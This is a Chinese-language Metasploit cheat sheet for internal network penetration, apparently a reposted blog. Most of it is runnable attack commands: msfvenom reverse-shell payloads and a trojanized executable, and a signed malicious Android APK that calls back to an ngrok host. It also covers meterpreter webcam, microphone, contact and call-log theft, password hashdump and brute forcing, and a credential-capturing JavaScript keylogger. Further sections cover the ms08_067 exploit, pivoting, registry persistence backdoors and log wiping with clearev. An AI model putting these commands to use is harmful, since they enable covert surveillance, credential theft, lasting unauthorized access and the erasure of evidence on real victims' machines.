Metasploit内网渗透大杀器

一、基础用法

1.数据库连接

#1 首先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start;
#2 初始化MSF数据库(关键步骤!):msfdb init;
#3 运行msfconsole:msfconsole;
#4 在msf中查看数据库连接状态:db_status。
如果不想每次开机都这样,还可以配置随系统启动

update-rc.d postgresql enable

update-rc.d metasploit enable


/usr/share/metasploit-framework      Kali中msf的路径为

/usr/share/metasploit-framework/scripts/resource/      脚本文件

/usr/share/metasploit-framework/modules/exploits/multi/http

常用命令:msfconsole -r /usr/share/metasploit-framework/scripts/resource/powershell.rc

use exploit/multi/script/web_delivery
set PAYLOAD windows/meterpreter/reverse_tcp
set TARGET 2
set LHOST 192.168.211.179
set LPORT 4444
set URIPATH /
run

Modules模块

Auxiliary:辅助模块
encoders:供msfencode编码工具使用,具体可以使用 msfencode –l
exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
nops:NOP (No Operation or Next Operation) sled,由于IDS/IPS会检查数据包中不规则的数据,所以在某些场合下(比如针对溢出攻击),某些特殊的滑行字符串(NOPS \x90\x90...)则会因为被拦截而导致攻击失效,所以此时需要修改exploit中的NOPs.nops文件夹下的东西会在payload生成时用到(后面会有介绍)。比如我们打开php的NOPS生成脚本,就会发现它只是返回了指定长度的空格而已。
payloads:这里面列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。

Post:后渗透阶段模块,在获得meterpreter的shell之后可以使用的攻击代码。比如常用的hashdump、


Data

其次是data目录:

这里存放的是metasploit的脚本引用文件,重点介绍几个文件


第一个是data下js文件夹下的detect,这里面存放的是metasploit的探针文件。如果看过metasploit浏览器攻击脚本的代码,就会发现调用了一个js库,然后检查当前请求是否符合被攻击环境。如果符合则发送攻击代码,否则中断。Memory中主要是一些堆喷射代码。在大部分浏览器漏洞利用过程,堆喷射是一个不可或缺的过程(当然不是绝对的!)。并且不同的浏览器及版本间,堆喷射代码都有所不同。所以这里给出的探针代码和堆喷射代码是不是一个非常好的学习资源呢? 

script


最后是msf下script目录中的resource目录:

这里的rc脚本相当于windows下的批处理脚本,在某些情况下会有一定便捷性。比如Veil在生成免杀payload的同时也会生成一个rc脚本,此时使用msfconsole –r xx.rc便可以快速的建立一个和payload对应的handler,亦或在攻过程中需要你反复的set exploit,那么就可以使用这个批处理脚本了,而这个目录下则是一些给定的rc脚本,虽然你可能不习惯这样使用,但作为改写自己的rc脚本的资源也不错。

msfvenom 用法


-p,--payload                         要使用的有效载荷。指定一个‘ - ’或stdin来使用自定义的有效载荷     
    --payload –options                         列出有效载荷的标准选项 


-l,--list                [type]                           列出模块类型。选项有:有效载荷,编码器,nops,全部


-n,--nopsled                           将[length]大小的nopled放在有效载荷上


-f,--format                            输出格式(使用 - 列表中的帮助格式)
 
     --help-formats                             列出可用的格式


-e,--encoder                          编码器使用


-a,--arch                                要使用的架构
 
    --platforms         <-platforms>            有效载荷的平台
  
    --help-platforms                            列出可用的平台
-s,--space                             生成的有效负载的最大大小
    --encoder-space                     编码有效负载的最大大小(默认为-s值)
-b,--bad-chars                           要避免的字符列表:‘\ x00 \ xff’


-i,--iterations                         编码有效载荷的次数


-c,--add-code                            指定要包含的另外一个win32 shellcode文件


-x,--template                            指定用作模板的自定义可执行文件


-k,--keep                                      保留模板行为,并将有效负载作为新线程注入


-o,--out                                 保存有效载荷


-v,--var-name                            指定用于某些输出格式的自定义变量名称


       --smallest                               生成最小的有效载荷


-h,--help                                      显示此消息


msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp –e x86/shikata_ga_nai -b ‘\x00’ -f python         生成一个window木马返回shell   -p window平台正向链接 -e 编码 -b 字符列表 -f 平台


两次弹框:payload
msfvenom -a x86 --platform windows -p windows/messagebox TEXT=MSFU Example -f raw > messageBox

msfvenom -c messageBox -a x86 --platform windows -p windows/messagebox TEXT=“We are evil” -f raw > messageBox2

msfvenom -c messageBox2 -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.211.179 LPORT=4444  -f exe -o andy.exe

msfvenom -a x86 --platform windows -x 1.exe -k -p windows/meterpreter/reverse_tcp  LHOST=192.168.211.179 LPORT=4444  –b “\ x00” -f exe -o 2.exe    -k 保留exe的行为  -x 指定一个文件 -p 保留模版行为 -o 保留为2.exe
use exploit/multi/script/web_delivery
set PAYLOAD windows/meterpreter/reverse_tcp
set TARGET 2
set LHOST 192.168.211.179
set LPORT 4444
set URIPATH /
run


use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.211.179
set LPORT 4444
set URIPATH /
run

use exploit/multi/script/web_delivery
use auxiliary/server/regsvr32_command_delivery_server 
set LHOST 192.168.211.179
set LPORT 4444
set URIPATH /
run生成

生成安装木马

msfvenom -p android/meterpreter/reverse_tcp LHOST=free.ngrok.cc LPORT=11*** R > /root/Desktop/123.apk

keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000                     执行下列命令签名。首先使用密钥工具创建密钥库
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore 123.apk aliasname        然后使用JARsigner签名APK

jarsigner -verify -verbose -certs 123.apk            再用JARsigner验证签名

use exploit/multi/handler 

Set PAYLOAD android/meterpreter/reverse_tcp 

SET LHOST 192.168.253.128(Kali的Linux内网IP) 

SET LPORT 2222(隧道的端口号)

Exploit

常用命令:
search 搜索 search -f *.jpg
download
webcam_stream -i 1/2 打开前置或后置摄像头
check_root 检测root
dump_calllog 下载电话记录
dump_contacts 下载信息记录
geolocate 定位,需要下载谷歌地图

PAYLOAD

基础命令

netstat -anp |grep 端口            kill -9 PID//相当于windows下的

netstat -ano    netstat -aon|findstr "3306" tasklist|findstr "4936" taskkill /f /t /im spx.exe 结束进程

find / -name hamster.txt    寻找某个文件

find / -name hamster.txt找命令

apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y 源的更新与清理

apt-get install linux-headers-$(uname -r) #linux内核更新

dpkg --add-architecture i386  .添加对32位的支持

ps 查看进程
migrate 注入进程 进程ID 一般选择explorer.exe对应的PID 
run vnc 查看远程桌面

文件操作
cat 查看文件
edit 编辑文件
upload 上传文件
download 下载文件
rm 删除文件
mkdir 创建文件夹

rmdir 删除文件夹

网络及系统操作
enumdesktops 在线用户数
uictl disable keyboard 让键盘失效 
uictl enable keyboard 恢复键盘
record_mic -d 10 音频录制 录制10秒
webcam_stream 开启摄像头
getsystem 获取最高权限
hashdump 密码hash

信息收集

smb服务 445端口扫描系统信息

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.211.1-200
run

端口扫描
use auxiliary/scanner/portscan/tcp
set INTERFACE eth0
set PORTS 445
set RHOSTS
set THREADS 100
run

密码嗅探
use auxiliary/sniffer/psnuffle 


SNMP扫描和枚举

use auxiliary/scanner/snmp/snmp_login

SMB登陆验证
use auxiliary/scanner/smb/smb_lo
set SMBUSER administrator
set threads 100
run

VNC身份验证
use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.211.137
set threads 100
run

mysql_login暴力登陆
use auxiliary/scanner/mysql_login

XSS记录键盘操作(生成一个页面记录账号密码)
use auxiliary/server/capture/http_javascript_keylogger
set DOMO ture
set URIPATH /
set srvport 80
run
 

渗透攻击

ms08_067
use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp 
set RHOST 192.168.211.137
set LHOST 192.168.211.137
set threads 100
run

ms12_004
use exploit/windows/smb/ms08_067_netapi

ms14_002内核提权(使用于32bit)
exploit/windows/local/ms_ndproxy
set session 2

域渗透详解

域渗透-------------------------------------------------------------------------------------
meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 169.254.0.0/255.255.0.0
Local subnet: 169.254.0.0/255.255.0.0
Local subnet: 192.168.99.0/255.255.255.0
Local subnet: 192.168.137.0/255.255.255.0
Local subnet: 192.168.164.0/255.255.255.0
Local subnet: 192.168.211.0/255.255.255.0
meterpreter > run autoroute -s 192.168.211.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.211.0/255.255.255.0...
[+] Added route to 192.168.211.0/255.255.255.0 via 192.168.164.1
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.211.0      255.255.255.0      Session 2
rning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
DESKTOP-A31E3JE\Andy

Impersonation Tokens Available
========================================
No tokens available

meterpreter > impersonate_token DESKTOP-A31E3JE\Andy
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[-] User token DESKTOP-A31E3JEAndy not found
meterpreter > 
meterpreter > run get_local_subnets //获取网段
meterpreter > run autoroute -s 172.2.175.0/24 //添加路由
meterpreter > run autoroute -p //查看路由
meterpreter > run autoroute -d -s 172.2.175.0 //删除网段
meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 //探测该网段下的存活主机。
meterpreter > background //后台sessions

维持后门

METERPRETER控制持久化
Meterpreter提供2种方式的后门,一种是通过服务启动(metsvc),一种是通过启动项启动(persistence)。

通过服务(metsvc)启动的方式,其优点便是命令简单方便。使用此方式的后门不进行反弹回连,因此不必设置太多参数。该后门在目标机器启动后自启动一个”服务器”来等待黑阔连接,因此黑阔可以随时随地通过该后门进入目标机器,十分简单方便。当然,其缺点也十分明显。当其他黑阔使用扫描软件扫出该”服务器”的存在时,任何人便可以通过该后门直达目标机器内部。毫无安全性可言。

通过启动项启动(persistence)的方式,其缺点便是参数较为复杂,当设置某项参数后,很有可能因为权限问题导致该设置项并未生效,并且无错误回显,导致持续化控制可能失败,功败垂成。当然,其优点也可圈可点。该方式是在目标机器上以反弹回连方式来连接黑阔的”服务器”,目标机器上的防火墙对于此等操作一般均会放行,因此后门的存活率较高,黑阔只需坐等羔羊送上门来。

METERPRETER持续化控制命令
 使用metsvc生成后门命令十分简单:
run metsvc
meterpreter > run metsvc -A //再开起一个终端,进入msfconsole
msf > use exploit/multi/handler //新终端中监听
msf > set payload windows/metsvc_bind_tcp
msf > set LPORT 31337
msf > set RHOST 192.168.0.128
meterpreter > run metsvc -A //再开起一个终端,进入msfconsole
msf > use exploit/multi/handler //新终端中监听
msf > set payload windows/metsvc_bind_tcp
msf > set LPORT 31337
msf > set RHOST 192.168.0.128
msf > run //获取到的会话是system权限
此处,几个比较重要的参数为

 -P:设置Payload,默认为windows/meterpreter/reverse_tcp。该默认的payload生成的后门为32位程序。因此,当目标机器为64位系统时,留下的后门将无法运行

 -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数

 -X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。因此,在非管理员权限或者未进行BypassUAC操作情况下,不推荐使用该参数。

 -i:设置反向连接间隔时间,单位为秒。当设置该参数后,目标机器会每隔设置的时间回连一次所设置的ip

 -p:设置反向连接的端口号。即黑阔用来等待连接的端口

 -r:设置反向连接的ip地址。即黑阔用来等待连接的ip

 因此,一个完整的命令为:

meterpreter > run persistence -U -i 10 -p 6666 -r 192.168.164.130

连接后门

当后门留好后,我们需要设置监听来等待后门被触发,以致反弹连接我们的”服务器”

漏洞扫描


对端口都扫描
use auxiliary/scanner/portscan/tcp
show options
set rhosts 192.168.2.1-255
set ports 21,22,25,443,445,1433,3306
set threads 20
exploit


mssql开发利用

对各个ip是否有mssql服务的探测
use scanner/mssql/mssql_ping //测试MSSQL的存在和信息
show options
set rhosts 192.168.2.1-255
set threads 30
exploit
对扫描到的ip进行爆破
use scanner/mssql/mssql_login //具体配置show options。
sa权限对其利用
use admin/mssql/mssql_exec
set rhost 192.168.2.10
set password sa
set CMD cmd.exe /c echo hello
exploit
mysql开放利用

爆破ssh模块:

use auxiliary/scanner/ssh/ssh_login
set rhosts 7.7.7.20
set username root
set pass_file /root/pass.txt //加载字典,可以收集密码做字典
set threads 50
run


通过nmap扫描基本漏洞:
msf > nmap –script=vuln 受害靶机ip地址
msf > nmap –script=mysql-info 192.168.0.4 //扫描mysql数据库信息 版本 等..

清除记录

msf > clearev //删除目标机上的应用程序、系统和安全日志。


参考:https://www.cnblogs.com/lsgxeva/p/8450277.html


你可能感兴趣的:(工具使用)